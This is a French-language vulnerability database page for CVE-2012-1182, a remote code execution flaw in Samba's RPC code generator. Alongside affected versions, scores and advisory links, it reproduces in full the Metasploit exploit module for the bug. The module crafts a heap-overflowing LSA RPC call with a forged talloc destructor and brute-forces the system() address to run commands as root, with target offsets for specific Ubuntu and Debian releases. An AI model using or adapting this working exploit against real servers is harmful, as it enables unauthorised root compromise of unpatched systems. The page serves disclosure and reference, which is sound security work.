CVE-2012-1182 : Détail

CVE-2012-1182

76.54%V3
Network
2012-04-10 19:00 +00:00
2018-01-17 18:57 +00:00

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

The RPC code generator in Samba 3.x before 3.4.16, 3.5.x before 3.5.14, and 3.6.x before 3.6.4 does not implement validation of an array length in a manner consistent with validation of array memory allocation, which allows remote attackers to execute arbitrary code via a crafted RPC call.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 21850

Date de publication : 2012-10-09 22:00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow', 'Description' => %q{ This module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'blasty', # Exploit 'mephos', # Debian Squeeze target 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-1182'], ['OSVDB', '81303'], ['BID', '52973'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 811, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash telnet python perl' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1' ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start for the final version should be 0xb20 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230b20 }, 'Stop' => { 'Ret' => 0x22a00b20 }, 'Step' => 0x1000 } } ], ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x950 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230950 }, 'Stop' => { 'Ret' => 0x22a00950 }, 'Step' => 0x1000 } } ], ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0x00230680 }, 'Stop' => { 'Ret' => 0x22a00680 }, 'Step' => 0x1000 } } ], ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze', { 'Offset' => 0x11c0, 'Bruteforce' => { # The start should be 0x680 aligned, and then step 0x1000. 'Start' => { 'Ret' => 0xb6aaa1b0 }, 'Stop' => { 'Ret' => 0xb6ce91b0 }, 'Step' => 0x1000 } } ] ], 'DisclosureDate' => 'Apr 10 2012', 'DefaultTarget' => 0 )) register_options([ OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]), OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ]) ], self.class) end def exploit if target.bruteforce? bf = target.bruteforce if datastore['StartBrute'] and datastore['StartBrute'] > 0 bf.start_addresses['Ret'] = datastore['StartBrute'] end if datastore['StopBrute'] and datastore['StopBrute'] > 0 bf.stop_addresses['Ret'] = datastore['StopBrute'] end if bf.start_addresses['Ret'] > bf.stop_addresses['Ret'] raise ArgumentError, "StartBrute should not be larger than StopBrute" end end super end def check begin connect() smb_login() disconnect() version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0] minor = version.scan(/\.(\d*)$/).flatten[0].to_i print_status("Version found: #{version}") return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16 return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14 return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4 return Exploit::CheckCode::Safe rescue ::Exception return CheckCode::Unknown end end def brute_exploit(target_addrs) print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret']) datastore['DCERPC::fake_bind_multi'] = false datastore['DCERPC::max_frag_size'] = 4248 pipe = "lsarpc" print_status("Connecting to the SMB service...") connect() print_status("Login to the SMB service...") smb_login() handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") stub = "X" * 20 cmd = ";;;;" # padding cmd << "#{payload.encoded}\x00" # system argument tmp = cmd * (816/cmd.length) tmp << "\x00"*(816-tmp.length) stub << NDR.short(2) # level stub << NDR.short(2) # level 2 stub << NDR.long(1) # auditing mode stub << NDR.long(1) # ptr stub << NDR.long(100000) # r-> count stub << NDR.long(20) # array size stub << NDR.long(0) stub << NDR.long(100) stub << rand_text_alpha(target['Offset']) # Crafted talloc chunk stub << 'A' * 8 # next, prev stub << NDR.long(0) + NDR.long(0) # parent, child stub << NDR.long(0) # refs stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP stub << NDR.long(0) # name stub << "AAAA" # size stub << NDR.long(0xe8150c70) # flags stub << "AAAABBBB" stub << tmp # pointer to tmp+4 in $esp stub << rand_text(32632) stub << rand_text(62000) print_status("Calling the vulnerable function...") begin call(dcerpc, 0x08, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError print_status('Server did not respond, this is expected') rescue Rex::Proto::DCERPC::Exceptions::Fault print_error('Server is most likely patched...') rescue => e if e.to_s =~ /STATUS_PIPE_DISCONNECTED/ print_status('Server disconnected, this is expected') end end handler disconnect end # Perform a DCE/RPC Function Call def call(dcerpc, function, data, do_recv = true) frag_size = data.length if dcerpc.options['frag_size'] frag_size = dcerpc.options['frag_size'] end object_id = '' if dcerpc.options['object_call'] object_id = dcerpc.handle.uuid[0] end if options['random_object_id'] object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)) end call_packets = make_request(function, data, frag_size, dcerpc.context, object_id) call_packets.each { |packet| write(dcerpc, packet) } return true if not do_recv raw_response = '' begin raw_response = dcerpc.read() rescue ::EOFError raise Rex::Proto::DCERPC::Exceptions::NoResponse end if (raw_response == nil or raw_response.length == 0) raise Rex::Proto::DCERPC::Exceptions::NoResponse end dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response) if dcerpc.last_response.type == 3 e = Rex::Proto::DCERPC::Exceptions::Fault.new e.fault = dcerpc.last_response.status raise e end dcerpc.last_response.stub_data end # Used to create standard DCERPC REQUEST packet(s) def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '') opnum = opnum.to_i size = size.to_i ctx = ctx.to_i chunks, frags = [], [] ptr = 0 # Break the request into fragments of 'size' bytes while ptr < data.length chunks.push( data[ ptr, size ] ) ptr += size end # Process requests with no stub data if chunks.length == 0 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) ) return frags end # Process requests with only one fragment if chunks.length == 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) ) return frags end # Create the first fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) ) # Create all of the middle fragments while chunks.length != 1 frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) ) end # Create the last fragment of the request frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) ) return frags end # Write data to the underlying socket def write(dcerpc, data) dcerpc.socket.write(data) data.length end end

Products Mentioned

Configuraton 0

Samba>>Samba >> Version To (including) 3.4.15

Samba>>Samba >> Version 3.0.0

Samba>>Samba >> Version 3.0.1

Samba>>Samba >> Version 3.0.2

Samba>>Samba >> Version 3.0.2

Samba>>Samba >> Version 3.0.2a

Samba>>Samba >> Version 3.0.3

Samba>>Samba >> Version 3.0.4

Samba>>Samba >> Version 3.0.4

Samba>>Samba >> Version 3.0.5

Samba>>Samba >> Version 3.0.6

Samba>>Samba >> Version 3.0.7

Samba>>Samba >> Version 3.0.8

Samba>>Samba >> Version 3.0.9

Samba>>Samba >> Version 3.0.10

Samba>>Samba >> Version 3.0.11

Samba>>Samba >> Version 3.0.12

Samba>>Samba >> Version 3.0.13

Samba>>Samba >> Version 3.0.14

Samba>>Samba >> Version 3.0.14

Samba>>Samba >> Version 3.0.14a

Samba>>Samba >> Version 3.0.15

Samba>>Samba >> Version 3.0.16

Samba>>Samba >> Version 3.0.17

Samba>>Samba >> Version 3.0.18

Samba>>Samba >> Version 3.0.19

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20

Samba>>Samba >> Version 3.0.20a

Samba>>Samba >> Version 3.0.20b

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21

Samba>>Samba >> Version 3.0.21a

Samba>>Samba >> Version 3.0.21b

Samba>>Samba >> Version 3.0.21c

Samba>>Samba >> Version 3.0.22

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23

Samba>>Samba >> Version 3.0.23a

Samba>>Samba >> Version 3.0.23b

Samba>>Samba >> Version 3.0.23c

Samba>>Samba >> Version 3.0.23d

Samba>>Samba >> Version 3.0.24

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25

Samba>>Samba >> Version 3.0.25a

Samba>>Samba >> Version 3.0.25b

Samba>>Samba >> Version 3.0.25c

Samba>>Samba >> Version 3.0.26

Samba>>Samba >> Version 3.0.26

Samba>>Samba >> Version 3.0.26a

Samba>>Samba >> Version 3.0.27

Samba>>Samba >> Version 3.0.27

Samba>>Samba >> Version 3.0.28

Samba>>Samba >> Version 3.0.28

Samba>>Samba >> Version 3.0.29

Samba>>Samba >> Version 3.0.30

Samba>>Samba >> Version 3.0.31

Samba>>Samba >> Version 3.0.32

Samba>>Samba >> Version 3.0.33

Samba>>Samba >> Version 3.0.34

Samba>>Samba >> Version 3.0.35

Samba>>Samba >> Version 3.0.36

Samba>>Samba >> Version 3.0.37

Samba>>Samba >> Version 3.1.0

Samba>>Samba >> Version 3.2.0

Samba>>Samba >> Version 3.2.1

Samba>>Samba >> Version 3.2.2

Samba>>Samba >> Version 3.2.3

Samba>>Samba >> Version 3.2.4

Samba>>Samba >> Version 3.2.5

Samba>>Samba >> Version 3.2.6

Samba>>Samba >> Version 3.2.7

Samba>>Samba >> Version 3.2.8

Samba>>Samba >> Version 3.2.9

Samba>>Samba >> Version 3.2.10

Samba>>Samba >> Version 3.2.11

Samba>>Samba >> Version 3.2.12

Samba>>Samba >> Version 3.2.13

Samba>>Samba >> Version 3.2.14

Samba>>Samba >> Version 3.2.15

Samba>>Samba >> Version 3.3.0

Samba>>Samba >> Version 3.3.1

Samba>>Samba >> Version 3.3.2

Samba>>Samba >> Version 3.3.3

Samba>>Samba >> Version 3.3.4

Samba>>Samba >> Version 3.3.5

Samba>>Samba >> Version 3.3.6

Samba>>Samba >> Version 3.3.7

Samba>>Samba >> Version 3.3.8

Samba>>Samba >> Version 3.3.9

Samba>>Samba >> Version 3.3.10

Samba>>Samba >> Version 3.3.11

Samba>>Samba >> Version 3.3.12

Samba>>Samba >> Version 3.3.13

Samba>>Samba >> Version 3.3.14

Samba>>Samba >> Version 3.3.15

Samba>>Samba >> Version 3.3.16

Samba>>Samba >> Version 3.4.0

Samba>>Samba >> Version 3.4.1

Samba>>Samba >> Version 3.4.2

Samba>>Samba >> Version 3.4.3

Samba>>Samba >> Version 3.4.4

Samba>>Samba >> Version 3.4.5

Samba>>Samba >> Version 3.4.6

Samba>>Samba >> Version 3.4.7

Samba>>Samba >> Version 3.4.8

Samba>>Samba >> Version 3.4.9

Samba>>Samba >> Version 3.4.10

Samba>>Samba >> Version 3.4.11

Samba>>Samba >> Version 3.4.12

Samba>>Samba >> Version 3.4.13

Samba>>Samba >> Version 3.4.14

Configuraton 0

Samba>>Samba >> Version 3.5.0

Samba>>Samba >> Version 3.5.1

Samba>>Samba >> Version 3.5.2

Samba>>Samba >> Version 3.5.3

Samba>>Samba >> Version 3.5.4

Samba>>Samba >> Version 3.5.5

Samba>>Samba >> Version 3.5.6

Samba>>Samba >> Version 3.5.7

Samba>>Samba >> Version 3.5.8

Samba>>Samba >> Version 3.5.9

Samba>>Samba >> Version 3.5.10

Samba>>Samba >> Version 3.5.11

Samba>>Samba >> Version 3.5.12

Samba>>Samba >> Version 3.5.13

Configuraton 0

Samba>>Samba >> Version 3.6.0

Samba>>Samba >> Version 3.6.1

Samba>>Samba >> Version 3.6.2

Samba>>Samba >> Version 3.6.3

References

http://www.mandriva.com/security/advisories?name=MDVSA-2012:055
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/48751
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2012/dsa-2450
Tags : vendor-advisory, x_refsource_DEBIAN
http://marc.info/?l=bugtraq&m=134323086902585&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48844
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/USN-1423-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/48816
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=133951282306605&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48879
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48754
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id?1026913
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/48818
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/48999
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=133951282306605&w=2
Tags : vendor-advisory, x_refsource_HP
http://support.apple.com/kb/HT5281
Tags : x_refsource_CONFIRM
http://marc.info/?l=bugtraq&m=134323086902585&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/48873
Tags : third-party-advisory, x_refsource_SECUNIA
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.